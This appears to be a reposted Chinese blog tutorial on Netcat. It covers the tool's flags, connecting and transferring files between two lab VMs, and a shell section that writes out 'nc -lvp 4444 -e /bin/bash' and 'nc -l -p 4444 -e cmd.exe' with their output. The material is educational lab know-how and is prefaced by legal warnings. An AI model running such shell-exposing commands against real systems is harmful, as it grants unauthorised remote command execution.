Netcat----网络瑞士军刀

2024-03-09 17:30
文章标签 网络 瑞士军刀 netcat

本文主要是介绍Netcat----网络瑞士军刀,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • 前言
  • 一、刑法
  • 二、介绍Netcat
  • 三、两pc机连接
  • 两pc机文件传输
  • 五、反弹shell
  • 六、Netcat的缺陷

前言

这篇文章将介绍Netcat的用法和命令,包括连接命令,文件传输命令,以及我们知道的反弹shell。主要用到的有两台虚拟机,一台win10、kali。在这里默认读者已经下载完毕。最后我们的目的是为了能更好的学会这个网络工具。而不是给其他人带来相应的麻烦,笔者深知这点,请读者切记。


一、刑法

中华人民共和国刑法(第285、286条)

第二百八十五条 违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。

第二百八十六条 违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。 违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。 故意制作、传播计算机病毒等破坏程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚。


二、介绍Netcat

Netcat(简称为nc)是一个网络工具,熟称瑞士军刀

可能你想到的瑞士军刀是这样的,就像下图所示。

但这里指代的是网络上面的工具,至于它为什么会被称之为瑞士军刀。你们想的没有错,他就是由瑞士的Hobbit协会开发的。如今在安全行业,它的名气基本学安全的人人尽知,因此了解它十分必要。

首先它可以用于创建、发送和接收网络连接。

其次它的功能非常强大,可以在不同计算机之间建立TCP或UDP连接,并提供各种网络服务。

然后Netcat可以在命令行中使用,支持多种操作系统,如Linux、Windows和 macOS。

Netcat常用到的操作内容有
  1. 端口扫描:可以使用Netcat来扫描目标主机的开放端口,以检测网络安全漏洞。

  2. 文件传输:Netcat可以通过网络传输文件,可以将文件发送到远程主机或从远程主机接收文件。

  3. 远程控制:Netcat允许远程主机与目标主机建立连接,从而实现远程执行命令或远程管理主机的功能。

  4. 网络调试和测试:Netcat可以用于测试网络服务的可用性和性能,发送和接收数据以模拟网络通信。

  5. 端口转发:Netcat可以通过建立隧道来实现端口转发,将来自一个主机的连接重定向到另一个主机。

Netcat常见的参数如下

-h 查看帮助信息

-d 后台模式

-e prog程序重定向,一但连接就执行[危险]

-i secs延时的间隔

-l 监听模式,用于入站连接

-L 监听模式,连接关闭后仍然继续监听,直到CTR+C

-n IP地址,不能用域名

-o film记录16进制的传输

-p [空格]端口 本地端口号

-r 随机本地及远程端口

-t 使用Telnet交互方式

-u UDP模式

-v 详细输出,用-vv将更详细

-w 数字 timeout延时间隔

-z 将输入,输出关掉(用于扫锚时)


三、两pc机连接

要通过Netcat将两台pc机连接,首先要保证是至少要有一方要已经安装了Netcat。这里我们用到的虚拟机包括kali和win10。其中kali已经安装了Netcat,这里无需安装。而win10则需要我们去上网进行下载。接下来的章节也都是基于在虚拟机上已经有Netcat。请注意之后运行代码都是先是在服务器上运行,再到客户端运行。

不多废话,现在开始介绍!

这里我们连接用的两台机器是win10kali

一、这里我们将win10作为客户端,kali作为服务器端

kali上面的代码如下(注意看在什么目录和用户下运行代码)
┌──(wang㉿kali)-[~/桌面]
└─$ su
密码: 
┌──(root㉿kali)-[/home/wang/桌面]
└─# nc -lvp 4444
listening on [any] 4444 ...
192.168.182.142: inverse host lookup failed: Unknown host
connect to [192.168.182.128] from (UNKNOWN) [192.168.182.142] 63635# win10的IP地址为192.168.182.142# kali的IP地址为192.168.182.128
win10上面的代码如下(注意看在什么目录和用户下运行代码)
C:\Users\da>cd C:\netcat-win32-1.12C:\netcat-win32-1.12>nc64.exe 192.168.182.128 4444C:\netcat-win32-1.12># win10的IP地址为192.168.182.142# kali的IP地址为192.168.182.128

二、这里我们将kali作为客户端,win10作为服务器端

win10上面的代码如下(注意看在什么目录和用户下运行代码)

C:\Users\da>cd C:\netcat-win32-1.12C:\netcat-win32-1.12>nc64.exe -l -p 4444ifconfig

kali上面的代码如下(注意看在什么目录和用户下运行代码)

┌──(root㉿kali)-[/home/wang/桌面]
└─# nc 192.168.182.142 4444ifconfig

这里选择回显的是ifconfig,它在linux中的命令。出现回显也就意味着连接成功。

两pc机文件传输

在进行文件传输之前,先介绍两个文件传输的符号如下。

< 文件传输中的输入

> 文件传输中的输出

这里光看符号,是很难记忆的,过时间长了就会遗忘。

对此我是这么理解的,做安全的人都知道最小特权原则。我的记忆方法是将其想像成文件的访问与输出。对应在符号上面< ,这个就代表尽可能的将文件最大化的输入,所以向右的张口是较大的。对应在符号上面> ,这个就代表尽可能的减少文件内容的泄露减小输出,所以向右的张口是很小的。这样就将其的特点记录了下来。

对应在kali和win10上面只需要像我们之前连接时候的命令一样,在他们的基础上添加这两个文件传输的符号,同时在最后添加上文件要传输到的绝对路径或是文件的输入的绝对路径。这个在这里不一一介绍,有兴趣的朋友可以,自己进行简单的尝试。


五、反弹shell

一、这里我们将win10作为客户端,kali作为服务器端

kali上面的代码如下(注意看在什么目录和用户下运行代码)

┌──(root㉿kali)-[/home/wang/桌面]
└─# nc -lvp 4444 -e /bin/bash
listening on [any] 4444 ...
192.168.182.142: inverse host lookup failed: Unknown host
connect to [192.168.182.128] from (UNKNOWN) [192.168.182.142] 49779

win10上面的代码如下(注意看在什么目录和用户下运行代码)

C:\netcat-win32-1.12>nc64.exe 192.168.182.128 4444

kali的终端在/bin/bash这个目录下面。·

二、这里我们将kali作为客户端,win10作为服务器端

kali上面的代码如下(注意看在什么目录和用户下运行代码)

┌──(root㉿kali)-[/home/wang/桌面]
└─# nc 192.168.182.142 4444 
Microsoft Windows [�汾 10.0.19045.3208]
(c) Microsoft Corporation����������Ȩ����C:\netcat-win32-1.12>chcp 65001  
chcp 65001
Active code page: 65001C:\netcat-win32-1.12>

win10上面的代码如下(注意看在什么目录和用户下运行代码)

C:\Users\da>cd C:\netcat-win32-1.12C:\netcat-win32-1.12>nc64.exe -l -p 4444 -e cmd.exe

 win10的终端在cmd.exe下面,这里出现了乱码的情况。输入的代码如下。这在上面的代码块中出现,这里将其重点提一下。

chcp 65001

六、Netcat的缺陷

1、nc传输的数据不加密

2、nc传输十分不稳定

3、nc缺乏身份验证的机制,端口一直在打开容易被黑客控制

这篇关于Netcat----网络瑞士军刀的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/791402

相关文章

Linux系统配置NAT网络模式的详细步骤(附图文)

《Linux系统配置NAT网络模式的详细步骤(附图文)》本文详细指导如何在VMware环境下配置NAT网络模式,包括设置主机和虚拟机的IP地址、网关,以及针对Linux和Windows系统的具体步骤,... 目录一、配置NAT网络模式二、设置虚拟机交换机网关2.1 打开虚拟机2.2 管理员授权2.3 设置子

揭秘Python Socket网络编程的7种硬核用法

《揭秘PythonSocket网络编程的7种硬核用法》Socket不仅能做聊天室,还能干一大堆硬核操作,这篇文章就带大家看看Python网络编程的7种超实用玩法,感兴趣的小伙伴可以跟随小编一起... 目录1.端口扫描器:探测开放端口2.简易 HTTP 服务器:10 秒搭个网页3.局域网游戏:多人联机对战4.

SpringBoot使用OkHttp完成高效网络请求详解

《SpringBoot使用OkHttp完成高效网络请求详解》OkHttp是一个高效的HTTP客户端,支持同步和异步请求,且具备自动处理cookie、缓存和连接池等高级功能,下面我们来看看SpringB... 目录一、OkHttp 简介二、在 Spring Boot 中集成 OkHttp三、封装 OkHttp

Linux系统之主机网络配置方式

《Linux系统之主机网络配置方式》:本文主要介绍Linux系统之主机网络配置方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、查看主机的网络参数1、查看主机名2、查看IP地址3、查看网关4、查看DNS二、配置网卡1、修改网卡配置文件2、nmcli工具【通用

使用Python高效获取网络数据的操作指南

《使用Python高效获取网络数据的操作指南》网络爬虫是一种自动化程序,用于访问和提取网站上的数据,Python是进行网络爬虫开发的理想语言,拥有丰富的库和工具,使得编写和维护爬虫变得简单高效,本文将... 目录网络爬虫的基本概念常用库介绍安装库Requests和BeautifulSoup爬虫开发发送请求解

如何通过海康威视设备网络SDK进行Java二次开发摄像头车牌识别详解

《如何通过海康威视设备网络SDK进行Java二次开发摄像头车牌识别详解》:本文主要介绍如何通过海康威视设备网络SDK进行Java二次开发摄像头车牌识别的相关资料,描述了如何使用海康威视设备网络SD... 目录前言开发流程问题和解决方案dll库加载不到的问题老旧版本sdk不兼容的问题关键实现流程总结前言作为

SSID究竟是什么? WiFi网络名称及工作方式解析

《SSID究竟是什么?WiFi网络名称及工作方式解析》SID可以看作是无线网络的名称,类似于有线网络中的网络名称或者路由器的名称,在无线网络中,设备通过SSID来识别和连接到特定的无线网络... 当提到 Wi-Fi 网络时,就避不开「SSID」这个术语。简单来说,SSID 就是 Wi-Fi 网络的名称。比如

Java实现任务管理器性能网络监控数据的方法详解

《Java实现任务管理器性能网络监控数据的方法详解》在现代操作系统中,任务管理器是一个非常重要的工具,用于监控和管理计算机的运行状态,包括CPU使用率、内存占用等,对于开发者和系统管理员来说,了解这些... 目录引言一、背景知识二、准备工作1. Maven依赖2. Gradle依赖三、代码实现四、代码详解五

Linux 网络编程 --- 应用层

一、自定义协议和序列化反序列化 代码: 序列化反序列化实现网络版本计算器 二、HTTP协议 1、谈两个简单的预备知识 https://www.baidu.com/ --- 域名 --- 域名解析 --- IP地址 http的端口号为80端口,https的端口号为443 url为统一资源定位符。CSDNhttps://mp.csdn.net/mp_blog/creation/editor

ASIO网络调试助手之一:简介

多年前,写过几篇《Boost.Asio C++网络编程》的学习文章,一直没机会实践。最近项目中用到了Asio,于是抽空写了个网络调试助手。 开发环境: Win10 Qt5.12.6 + Asio(standalone) + spdlog 支持协议: UDP + TCP Client + TCP Server 独立的Asio(http://www.think-async.com)只包含了头文件,不依